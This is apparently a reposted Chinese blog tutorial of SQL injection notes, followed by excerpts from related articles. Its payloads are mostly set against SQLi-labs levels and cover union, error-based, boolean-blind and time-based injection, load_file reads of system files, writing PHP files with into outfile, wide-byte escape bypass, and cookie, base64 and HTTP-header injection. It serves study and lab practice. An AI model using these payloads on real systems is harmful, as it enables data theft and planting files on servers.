SQL注入学习(二)

SQL注入点判断

?id=35   +1/-1  查看页面是否发生变化

select * from tbName where id=$id

1、?id=35‘数字后面加上【‘ or ‘‘ or )】来判断是字符型,还是数字型,如果有报错、有回显的话,用报错注入

  select * from tbName where id=35‘

    near ‘‘‘ at line 1 数字型
     near ‘‘2‘‘ LIMIT 0,1‘ at line 1 字符型

2、?id=35 and 1=1 // ?id=35 and 1=2 判断是否存在布尔类型的状态 (网页发生变化了就存在),考虑布尔注入

3、?id=35 and sleep(5) 判断是否有延时(在浏览器的网络中查看时间线),考虑延时注入

联合查询(实现跨库跨表查询)

判断字段个数

可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。 [order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错,以此来确定我们虚拟表的列数。 [order by 1 --+] [order by 2 --+]

判断显示位置

   得到字段个数之后,可以尝试构造联合查询语句。

1、 这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名。

[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]

[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]

2、页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:

[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

在执行SQL 语句的时候,可以考虑用火狐浏览器的插件hackbar。

result:发现某些数字会回显到页面中来。比如现在回显的是3,11

3、输入一些常用函数来测试 数据库版本 我们可以将数字3 用函数[version()]代替,即可得到数据库的版本。

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

当前数据库名

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]

报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。

报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。

@group by (分类聚合)重复键冲突【随机能出现查询结果】

[?id=33 and (select 1 from (select count(),concat((select version() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a) --+]

[?id=33 union select 1,2,concat(left(rand(),3),‘^‘,(select version()),‘^‘)a,count(),5,6,7,8,9,10,11, 12, 13,14,15 from information_schema.tables group by a --+]

[?id=33 and (select 1 from (select count(),concat(‘^‘,(select version() from information_schema.tables limit 0,1),‘^‘,floor(rand()*2))x from information_schema.tables group by x)a) --+]

@XPATH 报错(低版本不支持xpath报错) ?

  extractalue()

? [?id=33 and extractvalue(1,concat(‘^‘,(select version()),‘^‘)) --+] ?

  updatexml() ?

[?id=33 and updatexml(1,concat(‘^‘,(select database()),‘^‘),1) --+]

布尔盲注

原理:利用页面返回的布尔类型状态,正常或者不正常。

1、获取数据库名 数据库名长度

[?id=33 and length(database())=1 --+]

...(建议用二分法大致判断位置)

[?id=33 and length(database())=3 --+]

数据库名 [?id=33 and ascii(substr(database(),1,1))=99 --+]

2、账密同理

延时注入

原理:利用sleep() 语句的延时性,以时间线作为判断条件。

1、获取数据库名

   获取数据库名长度

[?id=33 and if((length(database())=3),sleep(5),1)--+]

   数据库名第二位

[?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]

。。。。。。

其它注入

  读写文件

  前提条件:我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件

1、secure-file-priv (可以在phpmyadmin 中看到该变量) 该参数在高版本的mysql 数据库中限制了文件的导入导出操作。改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。

  关于该参数值的相关说明

      secure-file-priv= 不对mysqld的导入导出操作做限制

      secure-file-priv=‘c:/a/‘ 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)

      secure-file-priv=null 限制mysqld 不允许导入导出操作

2、当前用户具有文件权限

[select File_priv from mysql.user where user="root" and host="localhost"]查询语句(判断当前用户是否具有权限) ?

3、知道要写入目标文件的绝对路径

? C:\\Windows\\System32\\drivers\etc\hosts 【双右斜线】(因为\是转义字符,所以要加多一个\) ?

C:/Windows/System32/drivers/etc/hostsa 【单左斜线】

读取文件操作

【?id=-1‘ union select 1, load_file(‘C:\Windows\System32\drivers\etc\hosts‘), 3 --+ ]】

       load_file(‘‘) 读取文件函数

写入文件操作

【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile ‘E:\phpstudy\www\1.php‘;】

【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,‘<?php phpinfo();?>‘,12,13,14,15 into outfile ‘E:\phpstudy\www\2.php‘;】

       into outfile ‘xxxxx\xxxx\’ 写入文件

宽字节注入

  宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。

使用[?id=1‘]进行测试的时候,发现提交的单引号会被转移[‘]。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。 ?

我们通过阅读32 关的源码,发现几句非常意思的代码,如下: ? 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。 ?

GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。 ?

转移字符\ 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。 ?

如果我们提交这样的参数[?id=1000%df‘ union select 1,2,3 --+],就可以使用联合查询进行注入了。【0xdf5c 就是一个汉字"運"】

Cookie注入 ?

Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。

? 我们使用SQLi-labs 第20 关来说明Cookie 注入问题。来到less-20,在控制台输入

? [document.cookie="uname=Dumb‘ and extractvalue(1,concat(0x7e,database(),0x7e))#"] ? (用BP抓包,报错注入来实现也可以)

base64 注入 ?

我们以SQLI-labs 第22关来说明base64 注入的问题。 ?

base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。

我们可以使用报错注入手法,payload ? [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"] ?

在控制台输入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]

HTTP 头部注入 ?

http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。 ?

@User-Agent 注入 ? 如SQLi-labs 第18 关。

? payload ? [User-Agent:hacker‘ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1‘=‘1] ?

@Referer 注入 ? 第19 关,注入字段在Referer 中 ?

[hacker‘ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1‘=‘1]

如果有错误的地方,就在下面留言给我,我看到后会及时更正的啦~谢谢各位

原文地址:https://www.cnblogs.com/tsimfeiwan/p/11708165.html

时间: 2024-08-02 22:20:18

SQL注入学习(二)的相关文章

sql注入学习经验

本人是一名渗透新手,信息安全专业的学生一直在学习关于安全方面的理论学习,主要进行的是网站的搭建,但自从接触了web渗透之后才发现自己以前搭建的网站真是漏洞百出,从而也爱上了渗透的学习,今天就和大家分享一下我的学习成果,有什么不好的地方欢迎大家提意见! 今天主要是讲一讲sql注入,sql注入的原理和危害就不多说了,大家百度一下就可以了,给大家讲一讲我的实践经验. sql注入的方法(get参数)     说复杂了没用其实就两种,工具注入与手工注入 (一)选择网站是否能进行sql注入(一般使用火狐浏览

SQL注入学习资料总结

转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准.不过各种通行的数据库系统在其实践过程中都

DVWA 安装使用 &amp; SQL注入学习心得(一)

DVWA 环境搭建和安装简易使用 下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过.在浏览器输入127.0.0.1,测试一下. 官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下. 此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面[其他选项菜单]->[My SQL工具]->[重置密码]. 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,

sql注入学习笔记(1)

把学习到的sql注入的一点知识记录下来 更改默认的sqlmap脱库保存的路径  --output-dir F:\ Substr(字符串,起始位置,字符数)   (初始为1不是0) 这里有示例 https://www.1keydata.com/cn/sql/sql-substring.php 通常配合ascii函数判断出字符的值ascii(substr((select database()),1,1))) > 100 二分法(又叫折半法)可以减少猜测的量 Length()   判断长度 AND (

简单的SQL注入学习

引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt/lampp/htdocs目录下: 解释一下这个页面: 1.通过if语句判断变量是否初始化 2.if语句中通过mysql_connect()函数连接数据库 3.连接数据库成功后,选择一个数据库 4.选择完数据库后执行一条mysql查询 5.进行查询结果的处理 6.使用echo讲查询结果输出,便于查看

简单sql注入学习

sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据 库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入式攻击. sql注入漏洞的

170605、防止sql注入(二)

java filter防止sql注入攻击 原理,过滤所有请求中含有非法的字符,例如:, & <  select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例 某个网站的登入验证的SQL查询代码为 strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');" 恶意

sql注入学习笔记4

延时注入,延时注入每种数据库都有不同的延时函数 and If(ascii(substr(database(),1,1))=105,1,sleep(5))--+ 这是mysql的延时注入,当ascii(substr(database(),1,1))=105为真时返回1,为假则执行sleep(5),将会有5秒的延时报错 重复执行指定操作的函数 BENCHMARK(count,expr)函数将表达式expr重复执行count次,然后返回执行时间.该函数可以用来判断MySQL处理表达式的速度. UNIO

Sql 注入 学习笔记

以下是MSDN Magazine 里面的一段文章: http://msdn.microsoft.com/zh-cn/magazine/cc163523.aspx 我很好奇这样到底能不能够注入SQL, 所以我建了个 console 程序 static void Main(string[] args) { SqlConnection conn new SqlConnection(); conn.Open(); string commandtext = "exec SetPassword 'admin